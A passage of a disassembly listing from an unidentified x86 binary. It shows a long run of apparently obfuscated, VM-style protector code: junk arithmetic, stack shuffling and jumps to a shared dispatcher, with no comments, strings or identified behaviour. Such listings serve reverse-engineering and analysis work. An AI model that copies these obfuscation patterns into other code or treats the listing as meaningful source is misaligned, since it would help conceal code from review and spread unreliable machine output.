		mov	ebp, 39335095h
		or	ecx, ebp
		pop	ebp
		jmp	loc_5D1C06
; ---------------------------------------------------------------------------


loc_5CB896:				; CODE XREF: sub_5A55E5+1E740j
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_5CB34C
; ---------------------------------------------------------------------------


loc_5CB8A3:				; CODE XREF: sub_5A55E5+1D036j
		push	[esp+88h+var_84]
		pop	edi
		jmp	loc_5D0962
; ---------------------------------------------------------------------------


loc_5CB8AD:				; CODE XREF: sub_5A55E5+2ABFFj
		sub	ecx, 25C077Ah
		sub	ebp, ecx
		pop	ecx
		push	ebp
		sub	[esp+88h+var_88], 39AF00E9h
		jmp	loc_5CA390
; ---------------------------------------------------------------------------


loc_5CB8C3:				; CODE XREF: sub_5A55E5+1BB1Ej
		mov	[esp+90h+var_90], ecx
		push	24E2527Eh
		pop	ecx
		jmp	loc_5CA860
; ---------------------------------------------------------------------------


loc_5CB8D1:				; CODE XREF: sub_5A55E5+2929Aj
		pop	[esp+90h+var_90]
		mov	esp, [esp+8Ch+var_8C]
		push	[esp+8Ch+var_8C]
		mov	eax, [esp+90h+var_90]
		jmp	loc_5C51F9
; ---------------------------------------------------------------------------


loc_5CB8E2:				; CODE XREF: sub_5A55E5+1EAB7j
		pop	esi
		shr	ebx, 5
		inc	ebx
		xor	ebx, 1D962A23h
		add	eax, ebx
		jmp	loc_5C869A
; ---------------------------------------------------------------------------


loc_5CB8F4:				; CODE XREF: sub_5A55E5+211DEj
		mov	[esp+0AAh+var_AC+2], eax
		push	ebx
		mov	bh, 98h
		push	eax
		mov	al, 59h
		and	al, 0EEh
		add	al, 0B6h
		xor	bh, al
		pop	eax
		mov	al, bh
		jmp	loc_5CAE0A
; ---------------------------------------------------------------------------


loc_5CB90B:				; CODE XREF: sub_5A55E5+27A10j
		and	eax, 7A26563Ch
		xor	eax, 36C4017Ch
		push	edi
		mov	edi, 7C8E6372h
		jmp	loc_5C038E
; ---------------------------------------------------------------------------


loc_5CB920:				; CODE XREF: sub_5A55E5+22511j
		pop	eax
		neg	eax
		jmp	loc_5CC63F
; ---------------------------------------------------------------------------


loc_5CB928:				; CODE XREF: sub_5A55E5+2BC69j
		pop	ecx
		push	ebx
		jmp	loc_5CE86A
; ---------------------------------------------------------------------------


loc_5CB92F:				; CODE XREF: sub_5A55E5+24E22j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5CCDC2
; ---------------------------------------------------------------------------


loc_5CB93C:				; CODE XREF: sub_5A55E5+2A46Cj
		sub	esp, 4
		jmp	loc_5C7E93
; ---------------------------------------------------------------------------


loc_5CB944:				; CODE XREF: sub_5A55E5+1D232j
		or	ecx, esi
		pop	esi
		xor	ecx, 7E8E2C82h
		sub	edi, ecx
		pop	ecx
		sub	ebx, edi
		jmp	loc_5C653B
; ---------------------------------------------------------------------------


loc_5CB957:				; CODE XREF: sub_5A55E5+2CD18j
		sub	eax, 6CC4F34h
		pop	ebx
		push	ebp
		mov	ebp, 2B3B1F18h
		shr	ebp, 6
		sub	ebp, 18424861h
		jmp	loc_5CE9AE
; ---------------------------------------------------------------------------


loc_5CB971:				; CODE XREF: sub_5A55E5+1A827j
		push	ebp
		mov	ebp, esp
		jmp	loc_5C9372
; ---------------------------------------------------------------------------


loc_5CB979:				; CODE XREF: sub_5A55E5+27055j
		push	4974h
		mov	[esp+88h+var_88], eax
		jmp	loc_5D0373
; ---------------------------------------------------------------------------


loc_5CB986:				; CODE XREF: sub_5A55E5+1EBB7j
		xor	esi, [esp+8Ch+var_8C]
		xor	[esp+8Ch+var_8C], esi
		jmp	loc_5C3170
; ---------------------------------------------------------------------------


loc_5CB991:				; CODE XREF: sub_5A55E5+1FBB0j
		add	edi, 3367E29h
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		push	ecx
		mov	ecx, 68CD0FBCh
		inc	ecx
		shl	ecx, 1
		jmp	loc_5C2811
; ---------------------------------------------------------------------------


loc_5CB9A9:				; CODE XREF: sub_5A55E5+1A2E7j
		push	edi
		mov	edi, esp
		jmp	loc_5CEE5E
; ---------------------------------------------------------------------------


loc_5CB9B1:				; CODE XREF: sub_5A55E5+28CBFj
		xchg	esi, [esp+58h+var_58]
		jmp	loc_5D217D
; ---------------------------------------------------------------------------


loc_5CB9B9:				; CODE XREF: sub_5A55E5+2CC1Bj
		add	esp, 4
		push	edi
		jmp	loc_5C2EB1
; ---------------------------------------------------------------------------


loc_5CB9C5:				; CODE XREF: sub_5A55E5+248DCj
		mov	edi, 0B8F2E90Ah
		jmp	loc_5C9961
; ---------------------------------------------------------------------------


loc_5CB9CF:				; CODE XREF: sub_5A55E5+1C779j
		push	edx
		mov	edx, 7315442h
		dec	edx
		push	edx
		push	esi
		pop	edx
		pop	esi
		jmp	loc_5C311A
; ---------------------------------------------------------------------------


loc_5CB9DF:				; CODE XREF: sub_5A55E5+20FA3j
		and	eax, esi
		mov	esi, [esp+94h+var_94]
		jmp	loc_5CED41
; ---------------------------------------------------------------------------


loc_5CB9E9:				; CODE XREF: sub_5A55E5+2A2D8j
		sub	esp, 4
		mov	[esp+98h+var_98], edi
		mov	edi, 0B953327h
		add	edi, 239C120Ch
		not	edi
		jmp	loc_5C4DB2
; ---------------------------------------------------------------------------


loc_5CBA04:				; CODE XREF: sub_5A55E5+1D028j
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_5C011E
; ---------------------------------------------------------------------------


loc_5CBA0D:				; CODE XREF: sub_5A55E5+24EFFj
		xor	ebp, esi
		pop	esi
		jmp	loc_5C56B3
; ---------------------------------------------------------------------------


loc_5CBA15:				; CODE XREF: sub_5A55E5+29F1Cj
		push	ebx
		neg	[esp+9Ch+var_9C]
		pop	ebx
		push	ebp
		push	edi
		mov	edi, 42E71031h
		push	eax
		jmp	loc_5C7868
; ---------------------------------------------------------------------------


loc_5CBA27:				; CODE XREF: sub_5A55E5+294E9j
		push	0AEAh
		mov	[esp+0A8h+var_A8], edx
		jmp	loc_5C6BE0
; ---------------------------------------------------------------------------


loc_5CBA34:				; CODE XREF: sub_5A55E5+2D3C6j
		add	eax, 0C530974h
		pop	ebp
		push	ebx
		mov	ebx, 251E2A8Dh
		push	esi
		mov	esi, 251E2A89h
		xor	ebx, esi
		pop	esi
		sub	eax, 2F772C49h
		jmp	loc_5CC491
; ---------------------------------------------------------------------------


loc_5CBA53:				; CODE XREF: sub_5A55E5+212E4j
		mov	esp, [esp+86h+var_88+2]
		shl	byte ptr [esp+86h+var_88+2], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CBA5F:				; CODE XREF: sub_5A55E5+1F025j
		mov	esi, 5A413D65h
		add	esi, 0A5BE828Ch
		mov	ebp, esi
		pop	esi
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5C4960
; ---------------------------------------------------------------------------


loc_5CBA75:				; CODE XREF: sub_5A55E5+1EA30j
		xor	[esp+84h+var_84], ebp
		xor	ebp, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]
		neg	ebp
		xchg	ebx, ebp
		dec	ebx
		xchg	ebx, ebp
		shr	ebp, 5
		jmp	loc_5CD69C
; ---------------------------------------------------------------------------


loc_5CBA8D:				; CODE XREF: sub_5A55E5+2BACFj
		add	ebp, ecx
		jmp	loc_5C6B0E
; ---------------------------------------------------------------------------


loc_5CBA94:				; CODE XREF: sub_5A55E5+267DFj
		pop	ebx
		add	ebx, 17F24127h
		pop	edx
		push	esi
		mov	esi, 77960A35h
		jmp	loc_5D39F8
; ---------------------------------------------------------------------------


loc_5CBAA7:				; CODE XREF: sub_5A55E5+22EF8j
		mov	[esp+88h+var_88], edx
		jmp	loc_5C17BF
; ---------------------------------------------------------------------------


loc_5CBAAF:				; CODE XREF: sub_5A55E5+22387j
		pop	edx
		add	edi, ebx
		jmp	loc_5D02E3
; ---------------------------------------------------------------------------


loc_5CBAB7:				; CODE XREF: sub_5A55E5+1CE18j
		xor	ebp, [esp+8Ah+var_8C+2]
		mov	esp, [esp+8Ah+var_8C+2]
		test	cl, al
		pushf
		jmp	loc_5C1E87
; ---------------------------------------------------------------------------


loc_5CBAC5:				; CODE XREF: sub_5A55E5+2B445j
		mov	ecx, 254F472Fh
		mov	ebp, ecx
		pop	ecx
		push	ebx
		mov	ebx, 890BA0h
		dec	ebx
		shr	ebx, 4
		sub	ebx, 0F68155Dh
		xor	ebx, 0C0C30071h
		add	edi, ebx
		pop	ebx
		jmp	loc_5C6C6E
; ---------------------------------------------------------------------------


loc_5CBAEB:				; CODE XREF: sub_5A55E5+2656Cj
		mov	esi, 2
		sub	ecx, 4C16BA5h
		add	ecx, esi
		jmp	loc_5C5678
; ---------------------------------------------------------------------------


loc_5CBAFD:				; CODE XREF: sub_5A55E5+21637j
		push	6524h
		mov	[esp+86h+var_88+2], ebp
		push	4
		push	[esp+8Ah+var_8C+2]
		mov	ebp, [esp+8Eh+var_90+2]
		jmp	loc_5C52C3
; ---------------------------------------------------------------------------


loc_5CBB15:				; CODE XREF: sub_5A55E5+1F708j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5CA5BF
; ---------------------------------------------------------------------------


loc_5CBB20:				; CODE XREF: sub_5A55E5+1C3E3j
		mov	ebx, 4
		add	edi, 34190548h
		add	edi, ebx
		push	eax
		jmp	loc_5C5483
; ---------------------------------------------------------------------------


loc_5CBB33:				; CODE XREF: sub_5A55E5+21874j
		xor	edx, edx
		jmp	loc_5C685B
; ---------------------------------------------------------------------------


loc_5CBB3A:				; CODE XREF: sub_5A55E5+1D15Bj
		sub	ecx, 257F2A70h
		mov	ebx, [esp+68h+var_68]
		add	esp, 4
		push	382Eh
		mov	[esp+68h+var_68], esi
		jmp	loc_5CBAEB
; ---------------------------------------------------------------------------


loc_5CBB56:				; CODE XREF: sub_5A55E5+280B2j
		mov	esi, edx
		pop	edx
		jmp	loc_5C782D
; ---------------------------------------------------------------------------


loc_5CBB5E:				; CODE XREF: sub_5A55E5+28D7Dj
		add	eax, 661661DCh
		pop	esi
		add	eax, ecx
		add	eax, 684F6883h
		mov	ecx, [esp+60h+var_60]
		jmp	loc_5C3676
; ---------------------------------------------------------------------------


loc_5CBB73:				; CODE XREF: sub_5A55E5+25E3Ej
		mov	edi, [esp+5Eh+var_60+2]
		sub	esp, 4
		mov	[esp+62h+var_64+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+62h+var_64+2]
		jmp	loc_5C860D
; ---------------------------------------------------------------------------


loc_5CBB93:				; CODE XREF: sub_5A55E5+222B9j
		add	edi, 0C4EDFAA2h
		sub	edi, 1
		sub	edi, 80882E2Eh
		sub	esi, 4C3262D5h
		jmp	loc_5CD4CA
; ---------------------------------------------------------------------------


loc_5CBBB0:				; CODE XREF: sub_5A55E5+21164j
		sub	al, bl
		pop	ebx
		add	al, 5Ah
		add	al, bl
		sub	al, 5Ah
		add	al, 0CCh
		add	al, 29h
		push	edx
		mov	dl, 0B4h
		shl	dl, 8
		or	dl, 35h
		dec	dl
		not	dl
		neg	dl
		add	dl, 4Dh
		sub	al, dl
		pop	edx
		add	al, 24h
		add	al, 0D2h
		sub	esp, 4
		mov	[esp+92h+var_94+2], ebx
		mov	bl, 0C7h
		shl	bl, 8
		jmp	loc_5C282B
; ---------------------------------------------------------------------------


loc_5CBBE9:				; CODE XREF: sub_5A55E5+278CBj
		push	ebx
		jmp	loc_5CBF0D
; ---------------------------------------------------------------------------


loc_5CBBEF:				; CODE XREF: sub_5A55E5+1FDA3j
		or	esi, 32E431EDh
		inc	esi
		xor	esi, 0C4B201Eh
		jmp	loc_5D393E
; ---------------------------------------------------------------------------


loc_5CBC01:				; CODE XREF: sub_5A55E5+2088Dj
		add	esp, 4
		jmp	loc_5C94AB
; ---------------------------------------------------------------------------


loc_5CBC0C:				; CODE XREF: sub_5A55E5+29CCDj
		xchg	edi, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		mov	[esp+8Ch+var_8C], edx
		push	eax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CBC1C:				; CODE XREF: sub_5A55E5+1EDA5j
		xchg	eax, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		bts	word ptr [esp+8Eh+var_90+2], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CBC2D:				; CODE XREF: sub_5A55E5+1E765j
		xor	ebp, [esp+0ACh+var_AC]
		xor	[esp+0ACh+var_AC], ebp
		xor	ebp, [esp+0ACh+var_AC]
		mov	esp, [esp+0ACh+var_AC]
		mov	cx, word ptr [esp+0ACh+var_AC]
		sub	esp, 4
		mov	[esp+0B0h+var_B0], eax
		jmp	loc_5C4514
; ---------------------------------------------------------------------------


loc_5CBC48:				; CODE XREF: sub_5A55E5+2AD35j
		sub	ebx, 0D9A92AC3h
		sub	ebx, 0E87D123Ah
		jmp	loc_5D07F9
; ---------------------------------------------------------------------------


loc_5CBC59:				; CODE XREF: sub_5A55E5+29300j
		pop	ebp
		pop	[esp+0ACh+var_AC]
		pop	esp
		sub	[esp+0A4h+var_A0], ebp
		jmp	loc_5C33B1
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_5D232C
; ---------------------------------------------------------------------------


loc_5CBC6F:				; CODE XREF: sub_5A55E5+1DAFBj
		sub	eax, 47BE2FE8h
		add	eax, 197E2C6Bh
		pop	edx
		sub	ebp, 79F2485Ch
		sub	ebp, 26740080h
		jmp	loc_5C25BC
; ---------------------------------------------------------------------------


loc_5CBC8B:				; CODE XREF: sub_5A55E5+27481j
		sub	ebp, 1
		push	ecx
		mov	ecx, 6D901421h
		add	ecx, 2F3A418Fh
		or	ecx, 791A624Eh
		push	ebp
		jmp	loc_5C83BB
; ---------------------------------------------------------------------------


loc_5CBCA6:				; CODE XREF: sub_5A55E5+253A4j
		add	ebp, 35860713h
		jmp	loc_5CE474
; ---------------------------------------------------------------------------


loc_5CBCB1:				; CODE XREF: sub_5A55E5+2DEBAj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+92h+var_94+2]
		jmp	loc_5D12F8
; ---------------------------------------------------------------------------


loc_5CBCC6:				; CODE XREF: sub_5A55E5+224B4j
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp+0CCh+var_CC]
		mov	esp, [esp+0CCh+var_CC]
		push	edx
		mov	edx, 4
		add	eax, edx
		push	[esp+0D0h+var_D0]
		pop	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_5C4371
; ---------------------------------------------------------------------------


loc_5CBCE8:				; CODE XREF: sub_5A55E5+27E53j
		push	edx
		not	[esp+0D8h+var_D8]
		pop	edx
		push	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0DCh+var_DC]
		pop	esp
		mov	[esp+0D8h+var_D8], edx
		pop	ebx
		mov	edx, [esp+0D4h+var_D4]
		jmp	loc_5CCC28
; ---------------------------------------------------------------------------


loc_5CBD0A:				; CODE XREF: sub_5A55E5+2070Bj
		push	eax
		jmp	loc_5BFCD0
; ---------------------------------------------------------------------------


loc_5CBD10:				; CODE XREF: sub_5A55E5+28434j
		add	eax, 3C6F12B5h
		jmp	loc_5C1BBC
; ---------------------------------------------------------------------------


loc_5CBD1A:				; CODE XREF: sub_5A55E5+1ADCFj
		push	edx
		push	small 3C53h
		pop	dx
		and	dx, 593Ch
		xor	dx, 526Fh
		push	2A7Ah
		mov	[esp+0A4h+var_A4], edi
		mov	di, dx
		mov	bx, di
		pop	edi
		pop	edx
		push	bp
		mov	bp, 54C1h
		xor	bx, bp
		mov	bp, word ptr [esp+9Eh+var_A0+2]
		add	esp, 2
		add	bx, 1CC7h
		sub	bx, 6CDh
		xor	bx, 0DB9h
		push	si
		jmp	loc_5C0C8B
; ---------------------------------------------------------------------------


loc_5CBD64:				; CODE XREF: sub_5A55E5+1BDCAj
		pop	edi
		jmp	loc_5CE0C3
; ---------------------------------------------------------------------------


loc_5CBD6A:				; CODE XREF: sub_5A55E5+1FF2Fj
		mov	edi, 0F458EBE7h
		mov	eax, edi
		pop	edi
		mov	ebp, eax
		jmp	loc_5CFFF8
; ---------------------------------------------------------------------------


loc_5CBD79:				; CODE XREF: sub_5A55E5+25240j
		push	3928h
		mov	[esp+0A2h+var_A4+2], eax
		jmp	loc_5D17F3
; ---------------------------------------------------------------------------


loc_5CBD86:				; CODE XREF: sub_5A55E5+2DFD4j
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp+9Eh+var_A0+2]
		pop	esp
		mov	[esp+9Ah+var_9C+2], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+9Ah+var_9C+2]
		mov	esp, [esp+9Ah+var_9C+2]
		pop	[esp+9Ah+var_9C+2]
		jmp	loc_5C2F61
; ---------------------------------------------------------------------------


loc_5CBDAD:				; CODE XREF: sub_5A55E5+2E7DDj
		pop	edx
		sub	edx, 59140F40h
		neg	edx
		add	edx, 0C2178162h
		push	edx
		sub	[esp+96h+var_98+2], 17F24127h
		jmp	loc_5CBA94
; ---------------------------------------------------------------------------


loc_5CBDC9:				; CODE XREF: sub_5A55E5+1E5ADj
		sub	edi, 7C660014h
		jmp	loc_5C92E5
; ---------------------------------------------------------------------------


loc_5CBDD4:				; CODE XREF: sub_5A55E5+20BD1j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CBDDF:				; CODE XREF: sub_5A55E5+2D0CCj
		mov	[esp+46h+var_46], eax
		mov	eax, 4D6439CCh
		sub	eax, 71047B05h
		jmp	loc_5BFDAD
; ---------------------------------------------------------------------------


loc_5CBDF1:				; CODE XREF: sub_5A55E5+2CC3Cj
		sub	edx, 35DC5524h
		jmp	loc_5D0547
; ---------------------------------------------------------------------------
		push	6B71h
		mov	[esp+4Ah+var_4A], ecx
		push	6811h
		mov	[esp+4Eh+var_50+2], esi
		jmp	loc_5C1652
; ---------------------------------------------------------------------------


loc_5CBE11:				; CODE XREF: sub_5A55E5+2E484j
		pop	ebp
		jmp	loc_5CABC7
; ---------------------------------------------------------------------------


loc_5CBE17:				; CODE XREF: sub_5A55E5+1C1B1j
		pop	ebp
		xor	eax, [esp+62h+var_64+2]
		xor	[esp+62h+var_64+2], eax
		xor	eax, [esp+62h+var_64+2]
		mov	esp, [esp+62h+var_64+2]
		push	4276h
		mov	[esp+66h+var_68+2], edx
		jmp	loc_5D1186
; ---------------------------------------------------------------------------


loc_5CBE31:				; CODE XREF: sub_5A55E5+1F37Cj
		mov	edi, 2C15EBBh
		not	edi
		xor	edi, 0A275AC1Ah
		add	eax, edi
		jmp	loc_5CD92F
; ---------------------------------------------------------------------------


loc_5CBE45:				; CODE XREF: sub_5A55E5+2178Cj
		xchg	edi, [esp+80h+var_80]
		pop	esp
		push	565Eh
		mov	[esp+80h+var_80], ecx
		mov	cl, 91h
		add	cl, 0FFh
		push	eax
		push	ecx
		mov	ch, 0DDh
		jmp	loc_5C7CF3
; ---------------------------------------------------------------------------


loc_5CBE5F:				; CODE XREF: sub_5A55E5+2E697j
		push	41397008h
		pop	esi
		add	ebx, esi
		pop	esi
		add	ebx, eax
		sub	ebx, 41397008h
		jmp	loc_5CB398
; ---------------------------------------------------------------------------


loc_5CBE75:				; CODE XREF: sub_5A55E5+1ED42j
		pop	eax
		neg	ebp
		add	ebp, 6D507DFFh
		sub	eax, ebp
		jmp	loc_5C3BB5
; ---------------------------------------------------------------------------


loc_5CBE85:				; CODE XREF: sub_5A55E5+281B7j
		xor	edx, 0E599CEAEh
		add	edi, edx
		pop	edx
		jmp	loc_5CE6A3
; ---------------------------------------------------------------------------


loc_5CBE93:				; CODE XREF: sub_5A55E5+2CA83j
		mov	[esp+98h+var_98], ebp
		jmp	loc_5C9AC4
; ---------------------------------------------------------------------------


loc_5CBE9B:				; CODE XREF: sub_5A55E5+1C269j
		xchg	ebp, [esp+9Eh+var_A0+2]
		mov	esp, [esp+9Eh+var_A0+2]
		jmp	loc_5D0335
; ---------------------------------------------------------------------------


loc_5CBEA6:				; CODE XREF: sub_5A55E5+29DA9j
		push	edx
		mov	edx, 38097743h
		xor	ebx, edx
		pop	edx
		add	ebx, 0D23BB167h
		mov	edx, ebx
		pop	ebx
		not	edx
		push	ebx
		jmp	loc_5C7A0A
; ---------------------------------------------------------------------------


loc_5CBEC0:				; CODE XREF: sub_5A55E5+1BCF9j
		mov	[esp+0C0h+var_C0], edx
		sub	esp, 4
		mov	[esp+0C4h+var_C4], esp
		push	esi
		mov	esi, 4
		add	[esp+0C8h+var_C4], esi
		pop	esi
		mov	edx, [esp+0C4h+var_C4]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_5CA061
; ---------------------------------------------------------------------------


loc_5CBEEB:				; CODE XREF: sub_5A55E5+1DB86j
		push	ebp
		push	ebx
		jmp	loc_5C81AD
; ---------------------------------------------------------------------------


loc_5CBEF2:				; CODE XREF: sub_5A55E5+1A93Fj
		xor	edi, 4FFE7F5Fh
		add	eax, edi
		pop	edi
		add	eax, 4
		xor	eax, [esp+84h+var_84]
		xor	[esp+84h+var_84], eax
		xor	eax, [esp+84h+var_84]
		pop	esp
		jmp	loc_5D3D4D
; ---------------------------------------------------------------------------


loc_5CBF0D:				; CODE XREF: sub_5A55E5+26605j
		mov	ebx, esi
		mov	edx, ebx
		push	[esp+96h+var_98+2]
		jmp	loc_5D09DC
; ---------------------------------------------------------------------------


loc_5CBF19:				; CODE XREF: sub_5A55E5+2A56Fj
		mov	ebp, ecx
		mov	ecx, [esp+9Ah+var_9C+2]
		add	esp, 4
		mov	edi, ebp
		push	[esp+96h+var_98+2]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+9Ah+var_9C+2]
		pop	esp
		mov	ebx, edi
		jmp	loc_5C1B9A
; ---------------------------------------------------------------------------


loc_5CBF3E:				; CODE XREF: sub_5A55E5+26113j
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+68h+var_68]
		jmp	loc_5CDD12
; ---------------------------------------------------------------------------


loc_5CBF56:				; CODE XREF: sub_5A55E5+1BE85j
		push	edi
		mov	edi, 51692D47h
		dec	edi
		neg	edi
		shr	edi, 7
		xor	edi, 15D2DA1h
		jmp	loc_5C482B
; ---------------------------------------------------------------------------


loc_5CBF6D:				; CODE XREF: sub_5A55E5+277B9j
		dec	ebx
		xor	ebx, 8290401h
		and	eax, ebx
		push	[esp+8Eh+var_90+2]
		pop	ebx
		push	ebx
		push	1B4h
		jmp	loc_5D04BC
; ---------------------------------------------------------------------------


loc_5CBF85:				; CODE XREF: sub_5A55E5+21DDEj
		or	esi, eax
		jmp	loc_5C660A
; ---------------------------------------------------------------------------


loc_5CBF8C:				; CODE XREF: sub_5A55E5+2448Cj
		xor	eax, edx
		mov	edx, [esp+96h+var_98+2]
		add	esp, 4
		push	edi
		push	ebp
		mov	ebp, 27A8784Bh
		mov	edi, ebp
		pop	ebp
		inc	edi
		jmp	loc_5D2539
; ---------------------------------------------------------------------------


loc_5CBFA7:				; CODE XREF: sub_5A55E5+1B832j
		push	22FCh
		mov	[esp+0A4h+var_A4], edx
		push	eax
		mov	al, 0E6h
		mov	dh, 0FAh
		add	dh, al
		pop	eax
		jmp	loc_5C4D92
; ---------------------------------------------------------------------------


loc_5CBFBC:				; CODE XREF: sub_5A55E5+2B293j
		mov	[esp+0A4h+var_A4], edx
		jmp	loc_5BFB2E
; ---------------------------------------------------------------------------


loc_5CBFC4:				; CODE XREF: sub_5A55E5+2AC93j
		add	ebp, edi
		mov	edi, [esp+0A4h+var_A4]
		jmp	loc_5C2DB4
; ---------------------------------------------------------------------------


loc_5CBFCE:				; CODE XREF: sub_5A55E5+2D3E3j
		pop	[esp+0A4h+var_A4]
		pop	esp
		jmp	loc_5CC79A
; ---------------------------------------------------------------------------


loc_5CBFD7:				; CODE XREF: sub_5A55E5+2059Ej
		mov	ecx, ebx
		mov	ebp, ecx
		pop	ecx
		pop	ebx
		sub	ebp, 4DE7E5D0h
		jmp	loc_5D2720
; ---------------------------------------------------------------------------


loc_5CBFE8:				; CODE XREF: sub_5A55E5+1F52Ej
		add	edx, 2
		xor	edx, [esp+8Eh+var_90+2]
		xor	[esp+8Eh+var_90+2], edx
		xor	edx, [esp+8Eh+var_90+2]
		pop	esp
		or	byte ptr [esp+8Ah+var_8C+2], al
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CBFFE:				; CODE XREF: sub_5A55E5+1CAB1j
		add	esp, 4
		and	ecx, edi
		push	[esp+9Ah+var_9C+2]
		mov	edi, [esp+9Eh+var_A0+2]
		jmp	loc_5C96DD
; ---------------------------------------------------------------------------


loc_5CC00E:				; CODE XREF: sub_5A55E5+1A4D9j
		push	ebx
		push	ecx
		mov	ecx, 739E0E65h
		mov	ebx, 0C1DD4A7Bh
		add	ebx, ecx
		mov	ecx, [esp+64h+var_64]
		add	esp, 4
		and	ebx, 372B536Ch
		push	ecx
		mov	ecx, 5A94643Bh
		or	ecx, 6B3E3D6Ch
		push	ebx
		mov	ebx, 627869BDh
		xor	ebx, 52152D15h
		xor	ecx, ebx
		pop	ebx
		xor	ebx, ecx
		pop	ecx
		add	ebx, 8107964Dh
		sub	edi, 2B18066Ah
		add	edi, ebx
		push	ebx
		mov	ebx, 2B18066Ah
		add	edi, ebx
		jmp	loc_5CDF26
; ---------------------------------------------------------------------------


loc_5CC064:				; CODE XREF: sub_5A55E5+2D428j
		add	esp, 4
		shr	edi, 2
		and	edi, 9145098h
		push	5B4Ch
		jmp	loc_5D0F23
; ---------------------------------------------------------------------------


loc_5CC07D:				; CODE XREF: sub_5A55E5+2DA17j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp+68h+var_68]
		mov	esp, [esp+68h+var_68]
		push	0
		jmp	loc_5CADEE
; ---------------------------------------------------------------------------


loc_5CC09C:				; CODE XREF: sub_5A55E5+22A73j
		xor	bp, word ptr [esp+7Ch+var_7C]
		xor	word ptr [esp+7Ch+var_7C], bp
		not	bp
		jmp	loc_5D257F
; ---------------------------------------------------------------------------


loc_5CC0AC:				; CODE XREF: sub_5A55E5+21198j
		add	ebx, 63922C55h
		jmp	loc_5C22BF
; ---------------------------------------------------------------------------


loc_5CC0B7:				; CODE XREF: sub_5A55E5+2165Bj
		pop	esp
		push	edx
		push	ebx
		mov	ebx, 64321797h
		dec	ebx
		jmp	loc_5C9BC1
; ---------------------------------------------------------------------------


loc_5CC0C5:				; CODE XREF: sub_5A55E5+21995j
		xor	ebp, 14F53BE4h
		add	edi, 18D35D86h
		sub	edi, ebp
		jmp	loc_5D0769
; ---------------------------------------------------------------------------


loc_5CC0D8:				; CODE XREF: sub_5A55E5+2D82Bj
		mov	[esp+80h+var_80], ecx
		sub	[esp+80h+var_80], 363035DEh
		pop	ebx
		push	ecx
		mov	ecx, 234C592Ah
		and	ecx, 4D3B1E18h
		neg	ecx
		sub	ecx, 0C8C7B21Ah
		add	ebx, ecx
		jmp	loc_5C73D2
; ---------------------------------------------------------------------------


loc_5CC0FE:				; CODE XREF: sub_5A55E5+29DF3j
		mov	[esp+80h+var_80], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5CFE6C
; ---------------------------------------------------------------------------


loc_5CC10E:				; CODE XREF: sub_5A55E5+255F0j
		mov	ecx, [esp+96h+var_98+2]
		add	esp, 4
		shr	eax, 6
		neg	eax
		sub	eax, 0FFD09B86h
		add	ebx, eax
		pop	eax
		push	eax
		mov	eax, 4
		add	ebx, eax
		push	[esp+92h+var_94+2]
		mov	eax, [esp+96h+var_98+2]
		jmp	loc_5CDE19
; ---------------------------------------------------------------------------


loc_5CC137:				; CODE XREF: sub_5A55E5+25A73j
		add	edx, edi
		mov	edi, [esp+0B2h+var_B4+2]
		sub	esp, 4
		mov	[esp+0B6h+var_B8+2], eax
		mov	eax, esp
		jmp	loc_5CE66A
; ---------------------------------------------------------------------------


loc_5CC14C:				; CODE XREF: sub_5A55E5+270BAj
		pop	[esp+0B6h+var_B8+2]
		mov	esp, [esp+0B2h+var_B4+2]


loc_5CC152:				; CODE XREF: sub_5A55E5+2C9B6j
		sub	esp, 4
		jmp	loc_5C18D5
; ---------------------------------------------------------------------------


loc_5CC15A:				; CODE XREF: sub_5A55E5+1AF5Fj
		add	eax, ebx
		pop	ebx
		push	2F74h
		mov	[esp+94h+var_94], ebp
		push	edi
		push	ecx
		mov	ecx, 0A9E43CFh
		push	ecx
		sub	[esp+0A0h+var_A0], 3B5255A1h
		mov	edi, [esp+0A0h+var_A0]
		add	esp, 4
		add	edi, 3B5255A1h
		mov	ecx, [esp+9Ch+var_9C]
		jmp	loc_5CCB46
; ---------------------------------------------------------------------------


loc_5CC188:				; CODE XREF: sub_5A55E5+2D05Bj
		add	ecx, 4
		xchg	ecx, [esp+9Ch+var_9C]
		pop	esp
		add	edi, ecx
		mov	ecx, [esp+98h+var_98]
		add	esp, 4
		xor	edi, [esp+94h+var_94]
		xor	[esp+94h+var_94], edi
		xor	edi, [esp+94h+var_94]
		mov	esp, [esp+94h+var_94]
		sub	byte ptr [esp+94h+var_94], al
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CC1AC:				; CODE XREF: sub_5A55E5+29FC4j
		sub	esp, 4
		mov	[esp+9Ch+var_9C], esi
		push	2B99h
		jmp	loc_5D3DEF
; ---------------------------------------------------------------------------


